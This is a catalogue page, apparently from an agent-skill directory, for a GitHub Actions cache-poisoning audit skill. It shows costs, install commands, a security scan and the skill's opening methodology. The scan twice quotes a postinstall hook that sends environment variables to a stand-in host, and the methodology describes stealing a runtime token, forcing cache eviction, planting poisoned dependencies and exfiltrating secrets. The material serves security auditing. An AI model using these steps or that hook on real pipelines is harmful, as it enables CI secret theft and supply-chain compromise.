github-actions-cache-poisoning

github-actions-cache-poisoning is a skill for Claude Code, Codex from SecurityTalent/bugskill-ai. It costs 159 tokens per session (2,216 once invoked), scanned B, a copy of github-actions-cache-poisoning, MIT.

A security-checking skill for poisoned GitHub Actions caches. Cache poisoning means placing harmful files in a shared build cache so a later privileged workflow restores and uses them.

In plain words
What is it for?
It is for auditing cache actions, cache keys, pull-request workflows, release workflows, and privileged jobs that restore cached files.
Why use it?
It helps detect shared or predictable caches that allow lower-privilege jobs to influence workflows with secrets or write access.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one. Also seen: mentions Claude Code.

Good fit It is for auditing cache actions, cache keys, pull-request workflows, release workflows, and privileged jobs that restore cached files.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/securitytalent/bugskill-ai/github-actions-cache-poisoning
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add SecurityTalent/bugskill-ai --skill github-actions-cache-poisoning
Clone the repo
git clone --depth 1 https://github.com/SecurityTalent/bugskill-ai

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for github-actions-cache-poisoning

README.md
[![agentmods](https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/github-actions-cache-poisoning/github.svg)](https://agentmods.dev/skills/securitytalent/bugskill-ai/github-actions-cache-poisoning)
Your own site
<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/github-actions-cache-poisoning"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/github-actions-cache-poisoning/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for github-actions-cache-poisoning

Your own site · 80×15
<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/github-actions-cache-poisoning"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/github-actions-cache-poisoning.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 159 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,216 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 2 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin 100% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00159 $0.02216
Opus 5.5 $0.00064 $0.00886
Sonnet 5.5 $0.00032 $0.00443
Haiku 4.5 $0.00016 $0.00222

Measured 20d ago against content hash 5c45ef5441f0, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade B, and why

github-actions-cache-poisoning scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 20d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLmediumData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

{"name":"evil-pkg","scripts":{"postinstall":"curl -d @/proc/self/environ https://CALLBACK"}}

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

{"name":"evil-pkg","scripts":{"postinstall":"curl -d @/proc/self/environ https://CALLBACK"}}
Origin

This is a copy

100% identical to github-actions-cache-poisoning — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

Awesome-Claude-Code-Agent-Skills/10-DevSecOps-and-Defense/github-actions-cache-poisoning/SKILL.md · 156 lines

How it starts

The opening of the file, as written. The whole thing — 156 lines — stays where its author put it; the contents beside it link to each section on GitHub.

GitHub Actions Cache Poisoning

What Is Broken and Why

GitHub Actions caches are shared across workflow runs within a repository. When a privileged workflow (with access to secrets or write permissions) restores a cache without verifying its integrity, an attacker who can write to the cache — even via a low-privilege workflow — can plant malicious content that executes in the privileged context. Since GitHub's November 2025 cache policy change, entries exceeding 10 GB are evicted immediately (not via batch jobs), making it possible to force eviction of legitimate cache entries and replace them with poisoned ones within a single workflow run.

Key Signals

  • Shared cache key across PR and release workflows: key: ${{ runner.os }}-node-${{ hashFiles('**/package.json') }} used identically in both a pull_request/pull_request_target workflow AND a release/publish workflow
  • Repository uses actions/cache, actions/setup-node, actions/setup-python (or similar) with caching enabled
  • A scheduled or bot-triggered workflow runs with elevated secrets and restores a shared cache
  • Cache keys are predictable or controllable (e.g., based on pnpm-lock.yaml hash, OS, Node version)
  • Attacker can trigger a workflow (e.g., via fork PR) that writes to the same cache namespace
  • pull_request workflows share cache namespace with base branch workflows
  • Package manager install step runs after cache restore without lockfile integrity check: pnpm install --frozen-lockfile (still executes postinstall scripts from restored cache)
  • Large cache repositories (close to or exceeding 10 GB limit)

Methodology

  1. Map all workflows and identify privileged ones: scheduled runs, workflow_run, bot-triggered, those with secrets.* access.
  2. Identify cache restore steps in privileged workflows — note cache keys and what is restored (node_modules, pip, gradle, etc.).
  3. Identify a workflow the attacker can trigger (fork PR, workflow_dispatch) that writes to the same cache namespace.
  4. Confirm the cache key overlap: attacker-controlled workflow must produce a cache entry that the privileged workflow will restore.
  5. Gain code execution in attacker-controlled workflow (e.g., via script injection — see github-actions-script-injection).
  6. From that execution context: a. Extract ACTIONS_RUNTIME_TOKEN from environment. b. Stuff the repository cache beyond 10 GB with junk data to force immediate LRU eviction of legitimate entries. c. Write poisoned cache entry (malicious node_modules with postinstall hook or patched binary).
  7. Wait for privileged workflow to run and restore the poisoned cache.
  8. Poisoned code executes — exfiltrate secrets or perform privileged actions.

Read the full file on GitHub · 156 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 20d ago First seen · 156 lines · 159 tokens per session scan B 5c45ef5441f0

Subscribe to this mod's changes

github-actions-cache-poisoning is a skill published in the GitHub repository SecurityTalent/bugskill-ai (13 stars, last pushed 21d ago), licensed MIT. It adds 159 tokens to every session and 2,216 once invoked, about $0.0006 per session on Opus 5.5. A static security scan graded it B with 2 findings (sends data to an external url, makes network calls). It is 100% identical to github-actions-cache-poisoning, differing in 0 lines, and is treated as a copy.